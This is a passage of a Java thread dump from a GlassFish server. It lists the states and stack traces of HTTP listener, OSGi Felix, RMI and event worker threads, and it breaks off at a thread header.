org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:186) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:429) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:143) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-99" #99 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #10" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Accept-8686" #111 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:748) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:698) + at java.base@21.0.11/java.net.ServerSocket.platformImplAccept(ServerSocket.java:663) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:639) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:585) + at java.base@21.0.11/java.net.ServerSocket.accept(ServerSocket.java:543) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:424) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:388) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(2)" #71 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@278d7d8b + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-102" #102 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-7" #35 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-5" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixStartLevel" #33 daemon [WAITING] on java.util.ArrayList@a2b8983 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at OSGi//org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-6" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-97" #97 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #2" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@b9369a8 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.11/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"EventAdminAsyncThread #5" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-100" #100 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"iiop-service-kernel(1) SelectorRunner" #84 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c9edb17 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(5)" #74 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@278d7d8b + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GlassFish Kernel Main Thread" #109 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@20f13236 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:229) + +"RMI Scheduler(0)" #124 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6a4524a8 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI Reaper" #114 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5625c41 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:67) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:234) + at java.rmi@21.0.11/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(3)" #63 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6bc39a56 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785503417225" #105 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@41bf6aff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Gogo shell" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4947e873 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-104" #104 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #93 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1735) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"pool-1-thread-1" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@348da330 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI GC Daemon" #115 